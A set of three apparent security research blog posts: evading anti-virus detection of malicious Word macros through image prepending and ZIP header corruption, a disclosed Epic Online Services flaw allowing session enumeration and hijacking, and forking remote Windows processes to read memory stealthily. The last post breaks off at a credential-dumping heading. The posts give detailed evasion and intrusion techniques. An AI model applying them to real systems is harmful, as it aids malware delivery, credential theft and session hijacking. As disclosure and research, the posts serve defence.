Since the OOX format is just a zip file, I found that parsing macro content from a Microsoft Word document was simpler than you might expect. All an anti-virus would need to do is:

  1. Extract the Microsoft Office document as a ZIP and look for the file word\vbaProject.bin.
  2. Parse the OLE binary and extract the macro content.

The differences I was interested in was how the methods would handle errors and corruption. For example, common implementations of ZIP extraction will often have error checking such as:

  1. Does the local file header begin with the signature 0x04034b50?
  2. Is the minimum version bytes greater than what is supported?

What I was really after was finding ways to break the ZIP parser in anti-virus without breaking the ZIP parser used by Microsoft Office.

Before we get into corrupting anything, we need a base sample first. As an example, I simply wrote a basic macro "Hello World!" that would appear when the document was opened.

Defeating Macro Document Static Analysis with Pictures of My Cat

For the purposes of testing detection of macros, I needed another sample document that was heavily detected by anti-virus. After a quick google search, I found a few samples shared by @malware_traffic here. The sample named HSOTN2JI.docm had the highest detection rate, coming in at 44/61 engines marking the document as malicious.

Defeating Macro Document Static Analysis with Pictures of My Cat

To ensure that detections were specifically based on the malicious macro inside the document's vbaProject.bin OLE file, I...

  1. Opened both my "Hello World" and the HSOTN2JI macro documents as ZIP files.
  2. Replaced the vbaProject.bin OLE file in my "Hello World" macro document with the vbaProject.bin from the malicious HSOTN2JI macro document.

Running the scan again resulted in the following detection rate:

Defeating Macro Document Static Analysis with Pictures of My Cat

Fortunately, these anti-virus products were detecting the actual macro and not solely relying on conventional methods such as blacklisting the hash of the document. Now with a base malicious sample, we can begin tampering with the document.

Exploitation

The methodology I used for the methods of corruption is:

  1. Modify the original base sample file with the corruption method.
  2. Verify that the document still opens in Microsoft Word.
  3. Upload the new document to VirusTotal.
  4. If good results, retry the method on my original "Hello World" macro document and verify that the macro still works.

Before continuing, it's important to note that the methods discussed in this blog post does come with drawbacks, specifically:

  1. Whenever a victim opens a corrupted document, they will receive a prompt asking whether or not they'd like to recover the document:
Defeating Macro Document Static Analysis with Pictures of My Cat
  1. Before the macro is executed, the victim will be prompted to save the recovered document. Once the victim has saved the recovered document, the macro will execute.

Although adding any user interaction certainly increases the complexity of the attack, if a victim was going to enable macros anyway, they'd probably also be willing to recover the document.

General Corruption

We'll first start with the effects of general corruption on a Microsoft Word document. What I mean by this is I'll be corrupting the file using methods that are non-specific to the ZIP file format.

First, let's observe the impact of adding random bytes to the beginning of the file.

Defeating Macro Document Static Analysis with Pictures of My Cat
Defeating Macro Document Static Analysis with Pictures of My Cat

With a few bytes at the beginning of the document, we were able to decrease detection by about 33%. This made me confident that future attempts could reduce this even further.

Result: 33% decrease in detection

Prepending My Cat

This time, let's do the same thing except prepend a JPG file, in this case, a photo of my cat!

Defeating Macro Document Static Analysis with Pictures of My Cat

You might think that prepending some random data should result in the same detection rate as an image, but some anti-virus marked the file as clean as soon as they saw an image.

Defeating Macro Document Static Analysis with Pictures of My Cat

To aid in future research, the anti-virus engines that marked the random data document as malicious but did not mark the cat document as malicious were:

Ad-Aware
ALYac
DrWeb
eScan
McAfee
Microsoft
Panda
Qihoo-360
Sophos ML
Tencent
VBA32

The reason this list is larger than the actual difference in detection is because some engines strangely detected this cat document, but did not detect the random data document.

Result: 50% decrease in detection

Prepending + Appending My Cat

Purely appending data to the end of a macro document barely impacts the detection rate, instead we'll be combining appending data with other methods starting with my cat.

Defeating Macro Document Static Analysis with Pictures of My Cat

What was shocking about all of this was even when the ZIP file was in the middle of two images, Microsoft's parser was able to reliably recover the document and macro! With only extremely basic modification to the document, we were able to essentially prevent most detection of the macro.

Result: 88% decrease in detection

Zip Corruption

Microsoft's fantastic document recovery is not just exclusive to general methods of file corruption. Let's take a look at how it handles corruption specific to the ZIP file format.

Corrupting the ZIP Local File Header

The only file we care about preventing access to is the vbaProject.bin file, which contains the malicious macro. Without corrupting the data, could we corrupt the file header for the vbaProject.bin file and still have Microsoft Word recognize the macro document?

Let's take a look at the structure of a local file header from Wikipedia:

Defeating Macro Document Static Analysis with Pictures of My Cat

I decided that the local file header signature would be the least likely to break file parsing, hoping that Microsoft Word didn't care whether or not the file header had the correct magic value. If Microsoft Word didn't care about the magic, corrupting it had a high chance of interfering with ZIP parsers that have integrity checks such as verifying the value of the magic.

After corrupting only the file header signature of the vbaProject.bin file entry, we get the following result:

Defeating Macro Document Static Analysis with Pictures of My Cat
Defeating Macro Document Static Analysis with Pictures of My Cat

With a ZIP specific corruption method, we almost completely eliminated detection.

Result: 90% decrease in detection

Combining Methods

With all of these methods, we've been able to reduce static detection of malicious macro documents quite a bit, but it's still not 100%. Could these methods be combined to achieve even lower rates of detection? Fortunately, yes!

Method Detection Rate Decrease
Prepending Random Bytes 33%
Prepending an Image 50%
Prepending and Appending an Image 88%
Corrupting ZIP File Header 90%
Prepending/Appending Image and Corrupting ZIP File Header 100%

Interested in trying out the last corruption method that reduced detection by 100%? I made a script to do just that! To use it, simply execute the script providing document filename as the first argument and a picture filename for the second parameter. The script will spit out the patched document to your current directory.

As stated before, even though these methods can bring down the detection of a macro document to 0%, it comes with high costs to attack complexity. A victim will not only need to click to recover the document, but will also need to save the recovered document before the malicious macro executes. Whether or not that added complexity is worth it for your team will widely depend on the environment you're against.

Regardless, one must heavily applaud the team working on Microsoft Office, especially those who designed the fantastic document recovery functionality. Even when compared to tools that are specifically designed to recover ZIP files, the recovery capability in Microsoft Office exceeds all expectations.

Insecure by Design, Epic Games Peer-to-Peer Multiplayer Service

17 December 2020 at 16:07
Insecure by Design, Epic Games Peer-to-Peer Multiplayer Service

The opinions expressed in this publication are those of the authors. They do not reflect the opinions or views of my employer. All research was conducted independently.

As someone who enjoys games that involve logistics, a recently-released game caught my eye. That game was Satisfactory, which is all about building up a massive factory on an alien planet from nothing. Since I loved my time with Factorio, another logistics-oriented game, Satisfactory seemed like a perfect fit!

Satisfactory had a unique feature that I rarely see in games today, peer-to-peer multiplayer sessions! Generally speaking, most games take the client-server approach of having dedicated servers serving multiple clients instead of the peer-to-peer model where clients serve each other.

I was curious to see how it worked under the hood. As a security researcher, one of my number one priorities is to always "stay curious" with anything I interact with. This was a perfect opportunity to exercise that curiosity!

Introduction

When analyzing the communication of any application, a great place to start is to attempt to intercept the HTTP traffic. Often times applications won't use an overly complicated protocol if they don't need to and web requests happen to be one of the most common ways of communicating. For intercepting not only plaintext traffic, I used Fiddler by Telerik which features a simple-to-use interface for intercepting HTTP(S) traffic. Fiddler took care of installing the root certificate it would use to issue certificates for websites automatically, but the question was if Satisfactory used a platform that had certificate pinning. Only one way to find out!

Insecure by Design, Epic Games Peer-to-Peer Multiplayer Service

Lucky for us, the game did not have any certificate pinning mechanism. The first two requests appeared to query the latest game news from Coffee Stain Games, the creators of Satisfactory. I was sad to see that these requests were performed over HTTP, but fortunately did not contain sensitive information.

Taking a look at the other requests revealed that Satisfactory was authenticating with Epic Games. Perhaps they were using an Epic Games service for their multiplayer platform?

Insecure by Design, Epic Games Peer-to-Peer Multiplayer Service

In the first request to Epic Games' API servers, there are a few interesting headers that indicate what service this could be in connection to. Specifically the User-Agent and Miscellaneous headers referred to something called "EOS". A quick Google search revealed that this stood for Epic Online Services!

Discovery

Epic Online Services is intended to assist game developers in creating multiplayer-compatible games by offering a platform that supports many common multiplayer features. Whether it be matchmaking, lobbies, peer-to-peer functionality, etc; there are many attractive features the service offers to game developers.

Before we continue with any security review, it's important to have a basic conceptual understanding of the product you're reviewing. This context can be especially helpful in later stages when trying to understand the inner workings of the product.

First, let's take a look at how you authenticate with the Epic Online Services API (EOS-API). According to documentation, the EOS Client uses OAuth Client Credentials to authenticate with the EOS-API. Assuming you have already set up a project in the EOS Developer Portal, you can generate credentials for either the GameServer or GameClient role , which are expected to be hardcoded into the server/client binary:

The EOS SDK requires a program to provide valid Client Credentials, including a Client ID and Client Secret. This information is passed in the the EOS_Platform_ClientCredentials structure, which is a parameter in the function EOS_Platform_Create. This enables the SDK to recognize the program as a valid EOS Client, authorize the Client with EOS, and grant access to the features enabled in the corresponding Client Role.

I found it peculiar that the only "client roles" that existed were GameServer and GameClient. The GameClient role "can access EOS information, but typically can't modify it", whereas the GameServer role "is a server or secure backend intended for administrative purposes". If you're writing a peer-to-peer game, what role do you give clients?

GameClient credentials won't work for hosting sessions, given that it's meant for read-only access, but  GameServer credentials are only meant for "a server or secure backend". A peer-to-peer client is neither a server nor anything I'd call "secure", but Epic Games effectively forces developers to embed GameServer credentials, because otherwise how can peer-to-peer clients host sessions?

The real danger here is that the documentation falsely assumes that if a client has GameServer role,  it should be trusted, when in fact the client may be an untrusted P2P client. I was amused by the fact that Epic Games even gives an example of the problem with giving untrusted clients the GameServer role:

The Client is a server or secure backend intended for administrative purposes. This type of Client can directly modify information on the EOS backend. For example, an EOS Client with a role of GameServer could unlock Achievements for a player.

Going back to those requests we intercepted earlier, the client credentials are pretty easy to extract.

Insecure by Design, Epic Games Peer-to-Peer Multiplayer Service

In the authentication request above, the client credentials are simply embedded as a Base64-encoded string in the Authorization header. Decoding this string provides a username:password combination, which represents the client credentials. With such little effort, we are able to obtain credentials for the GameServer role giving significant access to the backend used for Satisfactory. We'll take a look at what we can do with GameServer credentials in a later section.

Since we're interested in peer-to-peer sessions/matchmaking, the next place to look is the "Sessions interface", which "gives players the ability to host, find, and interact with online gaming sessions". This Sessions interface can be obtained through the Platform interface function EOS_Platform_GetSessionsInterface. The core components of session creation that are high value targets include session creation, session discovery, and joining a session. Problems in these processes could have significant security impact.

Discovery: Session Creation

The first process to look at is session creation. Creating a session with the Sessions interface is relatively simple.

First, you create a EOS_Sessions_CreateSessionModificationOptions structure that contains the following information:

Insecure by Design, Epic Games Peer-to-Peer Multiplayer Service

Finally, you need to pass this structure to the EOS_Sessions_CreateSessionModification function to create the session. Although this function will end up creating your session, there is a significant amount you can configure about a session given that the initial structure passed only contains required information to create a barebone session.

Discovery: Finding Sessions

For example, let's talk about how matchmaking works with these sessions. A major component of Sessions is the ability to add "custom attributes":

Sessions can contain user-defined data, called attributes. Each attribute has a name, which acts as a string key, a value, an enumerated variable identifying the value's type, and a visibility setting.

These "attributes" are what allows developers to add custom information about a session, such as the map the session is for or what version the host is running at.

EOS makes session searching simple. Similar to session creation, to create a barebone "session search", you simply call EOS_Sessions_CreateSessionSearch with a EOS_Sessions_CreateSessionSearchOptions structure. This structure has the minimum amount of information needed to perform a search, containing only the maximum number of search results to return.

Before performing a search, you can update the session search object to filter for specific properties. EOS allows you to search for session based on:

  • A known unique session identifier (at least 16 characters in length).
  • A known unique user identifier.
  • Session Attributes.

Although you can use a session identifier or a user identifier if you're joining a known specific session, for matchmaking purposes, attributes are the only way to "discover" sessions based on user-defined data.

Discovery: Sensitive Information Disclosure

Satisfactory isn't a matchmaking game and you'd assume they'd use the unique session identifier provided by the EOS-API. Unfortunately, until a month ago, EOS did not allow you to set a custom session identifier. Instead they forced game developers to use their randomly generated 32 character session ID.

When hosting a session in Satisfactory, hosts are given the option to set a custom session identifier. When joining a multiplayer session, besides joining via a friend, Satisfactory gives the option of using this session identifier to join sessions. How does this work in the background?

Although the EOS-API assigns a random session identifier to every newly created session, many implementations ignore it and choose to use attributes to store a session identifier. Being honest, who wants to share a random 32 character string with friends?

I decided the best way to figure out how Satisfactory handled unique session identifiers was to see what happens on the network when I attempt to join a custom session ID.

Insecure by Design, Epic Games Peer-to-Peer Multiplayer Service

Here is the request performed when I attempted to join a session with the identifier "test123":

POST https://api.epicgames.dev/matchmaking/v1/[deployment id]/filter HTTP/1.1
Host: api.epicgames.dev
...headers removed...

{
  "criteria": [
    {
      "key": "attributes.NUMPUBLICCONNECTIONS_l",
      "op": "GREATER_THAN_OR_EQUAL",
      "value": 1
    },
    {
      "key": "bucket",
      "op": "EQUAL",
      "value": "Satisfactory_1.0.0"
    },
    {
      "key": "attributes.FOSS=SES_CSS_SESSIONID_s",
      "op": "EQUAL",
      "value": "test123"
    }
  ],
  "maxResults": 2
}

Of course, this returned no valid sessions, but this request interestingly revealed that the mechanism used for finding sessions was based on a set of criteria. I was curious, how much flexibility did the EOS-API give the client when it comes to this criteria?

Exploitation: Sensitive Information Disclosure

The first idea I had when I saw that filtering was based on an array of "criteria" was what happens when you specify no criteria? To my surprise, the EOS-API was quite accommodating:

Insecure by Design, Epic Games Peer-to-Peer Multiplayer Service

Although sessions in Satisfactory are advertised to be "Friends-Only", I was able to enumerate all sessions that weren't set to "Private". Along with each session, I am given the IP Address for the host and their user identifier. On a large-scale basis, an attacker could easily use this information to create a map of most players.

To be clear, this isn't just a Satisfactory issue. You can enumerate the sessions of any game you have at least GameClient credentials for. Obviously in a peer-to-peer model, other players have the potential to learn your IP Address, but the problem here is that it is very simple to enumerate the thousands of sessions active given that besides the initial authentication, there are literally no access controls (not even rate-limiting). Furthermore, to connect to another client through the EOS-API, you don't even need to have the IP Address of the host!

Discovery: Session Hijacking

Going back to what we're really interested in, the peer-to-peer functionality of EOS, I was curious to learn what connecting to other clients actually looks like and what problems might exist with its design. Reading the "Sending and Receiving Data Through P2P Connections" section of the NAT P2P Interface documentation reveals that to connect to another player, we need their:

  1. Product user ID - This "identifies player data for an EOS user within the scope of a single product".
  2. Optional socket ID - This is a unique identifier for the specific socket to connect to. In common implementations of EOS, this is typically the randomly generated 32 character "session identifier".

Now that we know what data we need, the next step is understanding how the game itself shares these details between players.

One of the key features of the EOS Matchmaking/Session API we took a look at in a previous section is the existence of "Attributes", described by documentation to be a critical part of session discovery:

The most robust way to find sessions is to search based on a set of search parameters, which act as filters. Some parameters could be exposed to the user, such as enabling the user to select a certain game type or map, while others might be hidden, such as using the player's estimated skill level to find matches with appropriate opponents.

For peer-to-peer sessions, attributes are even more important, because they are the only way of carrying information about a session to other players. For a player to join another's peer-to-peer session, they need to retrieve the host's product user ID and an optional socket ID. Most implementations of Epic Online Services store this product user ID in the session's attributes. Of course, only clients with the  GameServer  role are allowed to create sessions and/or modify its attributes.

Exploitation: Session Hijacking

Recalling the first section, the core vulnerability and fundamental design flaw with EOS is that P2P games are required to embed  GameServer  credentials into their application. This means that theoretically speaking, an attacker can create a fake session with any attribute values they'd like. This got me thinking: if attributes are the primary way clients find sessions to join, then with  GameServer  credentials we can effectively "duplicate" existing sessions and potentially hijack the session clients find when searching for the original session.

Sound confusing? It is! Let's talk through a real-world example.

One widely used implementation of Epic Online Services is the "OnlineSubsystemEOS" (EOS-OSS) included with the Unreal Engine. This plugin is a very popular implementation widely used by games such as Satisfactory.

In Satisfactory's use of EOS-OSS, they use an attribute named SES_CSS_SESSIONID to track sessions. For example, if a player wanted their friend to join directly, they could give their friend a session ID from their client which the friend would be able to use to join. When the session ID search is executed, all that's happening is a filter query against all sessions for that session ID attribute value. Once the session has been found, EOS-OSS joins the session by retrieving the required product user ID of the host through another session attribute named OWNINGPRODUCTID.

Since Satisfactory is a peer-to-peer game exclusively using the Epic Online Services API, an attacker can use the credentials embedded in the binary to get access to the  GameServer  role. With a  GameServer  token, an attacker can hijack existing sessions by creating several "duplicate" sessions that have the same session ID attribute, however,  have the OWNINGPRODUCTID attribute set to their own product user ID.

When a victim executes a search for the session with the right session ID, more likely than not, the query will return one of the duplicated sessions that has the attacker's product user ID (ordering of sessions is random). Thus, when the victim attempts to join the game, they will join the attacker's game instead!

This attack is quite more severe than it may seem, because it is trivial to script this attack to hijack all sessions at once and cause all players joining any session to join the attacker's session instead. To summarize, this fundamental design flaw allows attackers to:

  1. Hijack any or all "matchmaking sessions" and have any player that joins a session join an attacker's session instead.
  2. Prevent players from joining any "matchmaking session".

Remediation

When it comes to communication, Epic Games was one of the best vendors I have ever worked with. Epic Games consistently responded promptly, showed a high level of respect for my time, and was willing to extensively discuss the vulnerability. I can confidently say that the security team there is very competent and that I have no doubt of their skill. When it comes to actually "getting things done" and fixing these vulnerabilities, the response was questionable.

To my knowledge:

  1. Epic Games has partially* remediated the sensitive information disclosure vulnerability, opting to use a custom addressing format for peer-to-peer hosts instead of exposing their real IP Address in the ADDRESS session attribute.
  2. Epic Games has not remediated the session hijacking issue, however, they have released a new "Client Policy" mechanism, including a Peer2Peer policy intended for "untrusted client applications that want to host multiplayer matches". In practice, the only impact to the vulnerability is that there is an extra layer of authentication to perform it, requiring that the attacker be a user of the game (in contrast to only having client credentials). Epic Games has noted that they plan to "release additional tools to developers in future updates to the SDK, allowing them to further secure their products".

* If a new session does not set its own ADDRESS attribute, the EOS-API will automatically set their public IP Address as the ADDRESS attribute.

Instead of fixing the severe design flaw, Epic Games has opted to update their documentation with several warnings about how to use EOS correctly and add trivial obstacles for an attacker (i.e the user authentication required for session hijacking). Regardless of their warnings, the vulnerability is still in full effect. Here are a list of various notices Epic Games has placed in their documentation:

  1. In the documentation for the Session interface, Epic Games has placed several warnings all stating that attackers can leak the IP Address of a peer-to-peer host or server.
  2. Epic Games has created a brand new Matchmaking Security page which is a sub-page of the Session interface outlining:
  • Attackers may be able to access the IP Address and product user ID of a session host.
  • Attackers may be able to access any custom attributes set by game developers for a session.
  • Some "best practices" such as only expose information you need to expose.
  1. Epic Games has transitioned to a new Client Policy model for authentication, including policies for untrusted clients.

Can this really be fixed?

I'd like to give Epic Games every chance to explain themselves with these questionable remediation choices. Here is the statement they made after reviewing this article.

Regarding P2P matchmaking, the issues you’ve outlined are faced by nearly all service providers in the gaming industry - at its core P2P is inherently insecure. The EOS matchmaking implementation follows industry standard practices. It's ultimately up to developers to implement appropriate checks to best suit their product. As previously mentioned, we are always working to improve the security around our P2P policy and all of our other matchmaking policies.

Unfortunately, I have a lot of problems with this statement:

  1. Epic Games erroneously included the IP Address of peers in the session attributes, even though this information was never required in the first place. Exposing PII unnecessarily is certainly not an industry standard. At the end of the day, an attacker can likely figure out the IP of a client if they have their product user ID and socket ID, but Epic Games made it trivial for an attacker to enumerate and map an entire games' matchmaking system by including that unnecessary info.
  2. "The EOS matchmaking implementation follows industry standard practices": The only access control present is a single layer of authentication...
  3. Epic Games has yet to implement common mitigations such as rate-limiting.
  4. There are an insane number of ways to insecurely implement Epic Online Services and Epic Games has documented none of these cases or how to defend against them. A great example is when games like Satisfactory store sensitive information like a session ID in the session's attributes.
  5. The claim that the Session Hijacking issue cannot be remediated because "P2P is inherently insecure" is simply not true. It's not like you can't trust the central EOS-API server.  Here is what Epic could do to remediate the Session Hijacking vulnerability:
  • A large requirement about the session hijacking attack is that an attacker must create multiple duplicate sessions that match the given attributes. An effective remediation is to limit the number of concurrent sessions a single user can have at once.
  • To prevent attackers from using multiple accounts to hijack a session to a singular session, Epic Games could enforce that the product user ID stored in the session must match the product user ID of the token the client is authenticating with.
  • To be clear, if Epic Games applied my suggested path of remediation, an attacker could still buy 10-20 copies of the game on different accounts to perform the attack on a small-scale. A large-scale attack would require thousands of copies to create enough fake hijacking sessions.
  • The point with this path of remediation is that it would significantly reduce the exploitability of this vulnerability, much more than a single layer of authentication provides.

Epic Games has yet to comment on these suggestions.

But... why?

When I first came across the design flaw that peer-to-peer games are required to embed GameServer credentials, I was curious to how such a fundamental flaw could have gotten past the initial design stage and decided to investigate.

After comparing the EOS landing page from its initial release in 2019 to the current page, it turns out that peer-to-peer functionality was not in the original release of Epic Online Services, but the GameClient and GameServer authentication model was!

It appears as though Epic Games simply didn't consider adding a new role dedicated for peer-to-peer hosts when designing the peer-to-peer functionality of the EOS-API.

Timeline

The timeline for this vulnerability is the following:

07/23/2020 - The vulnerability is reported to Epic Games.
07/28/2020 - The vulnerability is reproduced by HackerOne's triage team.
08/11/2020 - The vulnerability is officially triaged by Epic Games.
08/20/2020 - A disclosure timeline of 135 days is negotiated (for release in December 2020).
11/08/2020 - New impact/attack scenarios that are a result of this vulnerability are shared with Epic Games.
12/02/2020 - The vulnerability severity is escalated to Critical.
12/03/2020 - This publication is shared with Epic Games for review.
12/17/2020 - This publication is released to the public.

Frequently Asked Questions

Am I vulnerable?
If your game uses Epic Online Services, specifically its peer-to-peer or session/matchmaking functionality, you are likely vulnerable to some of the issues discussed in this article.

Epic Games has not remediated several issues discussed; opting to provide warnings in documentation instead of fixing the underlying problems in their platform.

What do I do if I am vulnerable?
If you're a player of the game, reach out to the game developers.

If you're a game or library developer, reach out to Epic Games for assistance. Make sure to review the documentation warnings Epic Games has added due to this vulnerability.

What is the potential impact of these vulnerabilities?
The vulnerabilities discussed in this article could be used to:

  1. Hijack any or all "matchmaking sessions" and have any player that joins a session join an attacker's session instead.
  2. Prevent players from joining any "matchmaking session".
  3. Leak the user identifier and IP Address of any player hosting a session.

Abusing Windows’ Implementation of Fork() for Stealthy Memory Operations

26 November 2021 at 04:32
Abusing Windows’ Implementation of Fork() for Stealthy Memory Operations

Note: Another researcher recently tweeted about the technique discussed in this blog post, this is addressed in the last section of the blog (warning, spoilers!).

To access information about a running process, developers generally have to open a handle to the process through the OpenProcess API specifying a combination of 13 different process access rights:

  1. PROCESS_ALL_ACCESS - All possible access rights for a process.
  2. PROCESS_CREATE_PROCESS - Required to create a process.
  3. PROCESS_CREATE_THREAD - Required to create a thread.
  4. PROCESS_DUP_HANDLE - Required to duplicate a handle using DuplicateHandle.
  5. PROCESS_QUERY_INFORMATION - Required to retrieve general information about a process such as its token, exit code, and priority class.
  6. PROCESS_QUERY_LIMITED_INFORMATION - Required to retrieve certain limited information about a process.
  7. PROCESS_SET_INFORMATION - Required to set certain information about a process such as its priority.
  8. PROCESS_SET_QUOTA - Required to set memory limits using SetProcessWorkingSetSize.
  9. PROCESS_SUSPEND_RESUME - Required to suspend or resume a process.
  10. PROCESS_TERMINATE - Required to terminate a process using TerminateProcess.
  11. PROCESS_VM_OPERATION - Required to perform an operation on the address space of a process (VirtualProtectEx, WriteProcessMemory).
  12. PROCESS_VM_READ - Required to read memory in a process using ReadProcessMemory.
  13. PROCESS_VM_WRITE - Required to write memory in a process using WriteProcessMemory.

The access rights requested will impact whether or not a handle to the process is returned. For example, a normal process running under a standard user can open a SYSTEM process for querying basic information, but it cannot open that process with a privileged access right such as PROCESS_VM_READ.

In the real world, the importance of process access rights can be seen in the restrictions anti-virus and anti-cheat products place on certain processes. An anti-virus might register a process handle create callback to prevent processes from opening the Local Security Authority Subsystem Service (LSASS) which could contain sensitive credentials in its memory. An anti-cheat might prevent processes from opening the game they are protecting, because cheaters can access key regions of the game memory to gain an unfair advantage.

When you look at the thirteen process access rights, do any of them strike out as potentially malicious? I investigated that question by taking a look at the drivers for several anti-virus products. Specifically, what access rights did they filter for in their process handle create callbacks? I came up with this subset of access rights that were often directly associated with potentially malicious operations: PROCESS_ALL_ACCESS, PROCESS_CREATE_THREAD, PROCESS_DUP_HANDLE, PROCESS_SET_INFORMATION, PROCESS_SUSPEND_RESUME, PROCESS_TERMINATE, PROCESS_VM_OPERATION, PROCESS_VM_READ, and PROCESS_VM_WRITE.

This leaves four other access rights that were discovered to be largely ignored:

  1. PROCESS_QUERY_INFORMATION - Required to retrieve general information about a process such as its token, exit code, and priority class.
  2. PROCESS_QUERY_LIMITED_INFORMATION - Required to retrieve certain limited information about a process.
  3. PROCESS_SET_QUOTA - Required to set memory limits using SetProcessWorkingSetSize.
  4. PROCESS_CREATE_PROCESS - Required to create a process.

These access rights were particularly interesting because if we could find a way to abuse any of them, we could potentially evade the detection of a majority of anti-virus products.

Most of these remaining rights cannot modify important aspects of a process. PROCESS_QUERY_INFORMATION and PROCESS_QUERY_LIMITED_INFORMATION are purely for reading informational details about a process. PROCESS_SET_QUOTA does impact the process, but does not provide much surface to abuse. For example, being able to set a processes' performance limits provides limited usefulness in an attack.

What about PROCESS_CREATE_PROCESS? This access right allows a caller to "create a process" using the process handle, but what does that mean?

In practice, someone with a process handle containing this access right can create processes on behalf of that process. In the following sections, we will explore existing techniques that abuse this access right and its undiscovered potential.

Parent Process Spoofing

An existing evasion technique called "parent process ID spoofing" is used when a malicious application would like to create a child process under a different process. This allows an attacker to create a process while having it appear as if it was launched by another legitimate application.

At a high-level, common implementations of parent process ID spoofing will:

  1. Call InitializeProcThreadAttributeList to initialize an attribute list for the child process.
  2. Use OpenProcess to obtain a PROCESS_CREATE_PROCESS handle to the fake parent process.
  3. Update the previously initialized attribute list with the parent process handle using UpdateProcThreadAttribute.
  4. Create the child process with CreateProcess, passing extended startup information containing the process attributes.

This technique provides more usefulness than just being able to spoof the parent process of a child. It can be used to attack the parent process itself as well.

When creating a process, if the attacker specifies TRUE for the InheritHandles argument, all inheritable handles present in the parent process will be given to the child. For example, if a process has an inheritable thread handle and an attacker would like to obtain this handle indirectly, the attacker can abuse parent process spoofing to create their own malicious child process which inherits these handles.

The malicious child process would then be able to abuse these inherited handles in an attack against the parent process, such as a child using asynchronous procedure calls (APCs) on the parent's thread handle. Although this variation of the technique does require that the parent have critical handles set to be inheritable; several common applications, such as Firefox and Chrome, have inheritable thread handles.

Ways to Create Processes

The previous section explored one existing attack that used the high-level kernel32.dll function CreateProcess, but this is not the only way to create a process. Kernel32 provides abstractions such as CreateProcess which allow developers to avoid having to use ntdll functions directly.

When taking a look under the hood, kernel32 uses ntdll functions and does much of the heavy lifting required to perform NtXx calls. CreateProcess uses NtCreateUserProcess, which has the following function prototype:

NTSTATUS NTAPI
NtCreateUserProcess (
    PHANDLE ProcessHandle,
    PHANDLE ThreadHandle,
    ACCESS_MASK ProcessDesiredAccess,
    ACCESS_MASK ThreadDesiredAccess,
    POBJECT_ATTRIBUTES ProcessObjectAttributes,
    POBJECT_ATTRIBUTES ThreadObjectAttributes,
    ULONG ProcessFlags,
    ULONG ThreadFlags,
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
    PPROCESS_CREATE_INFO CreateInfo,
    PPROCESS_ATTRIBUTE_LIST AttributeList
    );

NtCreateUserProcess is not the only low-level function exposed to create processes. There are two legacy alternatives: NtCreateProcess and NtCreateProcessEx. Their function prototypes are:

NTSTATUS NTAPI
NtCreateProcess (
    PHANDLE ProcessHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE ParentProcess,
    BOOLEAN InheritObjectTable,
    HANDLE SectionHandle,
    HANDLE DebugPort,
    HANDLE ExceptionPort
    );

NTSTATUS NTAPI
NtCreateProcessEx (
    PHANDLE ProcessHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE ParentProcess,
    ULONG Flags,
    HANDLE SectionHandle,
    HANDLE DebugPort,
    HANDLE ExceptionPort,
    BOOLEAN InJob
    );

NtCreateProcess and NtCreateProcessEx are quite similar but offer a different route of process creation when compared to NtCreateUserProcess.

Forking Your Own Process

A lesser documented limited technique available to developers is the ability to fork processes on Windows. The undocumented function developers can use to fork their own process is RtlCloneUserProcess. This function does not directly call the kernel and instead is a wrapper around NtCreateUserProcess.

A minimal implementation of forking through NtCreateUserProcess can be achieved trivially. By calling NtCreateUserProcess with NULL for both object attribute arguments, NULL for the process parameters, an empty (but not NULL) create info argument, and a NULL attribute list; a fork of the current process will be created.

One question that arose when performing this research was: What is the difference between forking a process and creating a new process with handles inherited? Interestingly, the minimal forking mechanism present in Windows does not only include inheritable handles, but private memory regions too. Any dynamically allocated pages as part of the parent will be accessible at the same location in the child as well.

Both RtlCloneUserProcess and the minimal implementation described are publicly known techniques for simulating fork on Windows, but is there any use forking provides to an attacker?

In 2019, Microsoft Research Labs published a paper named "A fork() in the road", which discussed how what used to be a "clever hack" has "long outlived its usefulness and is now a liability". The paper discusses several areas, such as how fork is a "terrible abstraction" and how it compromises OS implementations. The section titled "FORK IN THE MODERN ERA" is particularly relevant:

Fork is insecure. By default, a forked child inherits everything from its parent, and the programmer is responsible for explicitly removing state that the child does not need by: closing file descriptors (or marking them as close-on-exec), scrubbing secrets from memory, isolating namespaces using unshare() [52], etc. From a security perspective, the inherit by-default behaviour of fork violates the principle of least privilege.

This section covers the security risk that is posed by the ability to fork processes. Microsoft provides the example that a forked process "inherits everything from its parent" and that "the programmer is responsible for explicitly removing state that the child does not need". What happens when the programmer is a malicious attacker?

Forking a Remote Process

I propose a new method of abusing the limited fork functionality present in Windows. Instead of forking your own process, what if you forked a remote process? If an attacker could fork a remote process, they would be able to gain insight into the target process without needing a sensitive process access right such as PROCESS_VM_READ, which could be monitored by anti-virus.

With only a PROCESS_CREATE_PROCESS handle, an attacker can fork or "duplicate" a process and access any secrets that are present in it. When using the legacy NtCreateProcess(Ex) variant, forking a remote process is relatively simple.

By passing NULL for the SectionHandle and a PROCESS_CREATE_PROCESS handle of the target for the ParentProcess arguments, a fork of the remote process will be created and an attacker will receive a handle to the forked process. Additionally, as long as the attacker does not create any threads, no process creation callbacks will fire. This means that an attacker could read the sensitive memory of the target and anti-virus wouldn't even know that the child process had been created.

When using the modern NtCreateUserProcess variant, all an attacker needs to do is use the previous minimal implementation of forking your own process but pass the target process handle as a PsAttributeParentProcess in the attribute list.

With the child handle, an attacker could read sensitive memory from the target application for a variety of purposes. In the following sections, we'll cover approaches to detection and an example of how an attacker could abuse this in a real attack.

Example: Anti-Virus Tampering

Some commercial anti-virus solutions may include self-integrity features designed to combat tampering and information disclosure. If an attacker could access the memory of the anti-virus process, it is possible that sensitive information about the system or the anti-virus itself could be abused.

With Process Forking, an attacker can gain access to both private memory and inheritable handles with only a PROCESS_CREATE_PROCESS handle to the victim process. A few examples of attacks include:

  1. An attacker could read the encryption keys that are used to communicate with a trusted anti-virus server to decrypt or potentially tamper with this line of communication. For example, an attacker could pose as a man-in-the-middle (MiTM) with these encryption keys to prevent the anti-virus client from communicating alerts or spoof server responses to further tamper with the client.
  2. An attacker could gain access to sensitive information about the system that was provided by the kernel. This information could include data from kernel callbacks that an attacker otherwise would not have access to from usermode.
  3. An attacker could gain access to any handle the anti-virus process holds that is marked as inheritable. For example, if the anti-virus protects certain files from being accessed, such as sensitive configuration files, an attacker may be able to inherit a handle opened by the anti-virus process itself to access that protected file.

Example: Credential Dumping

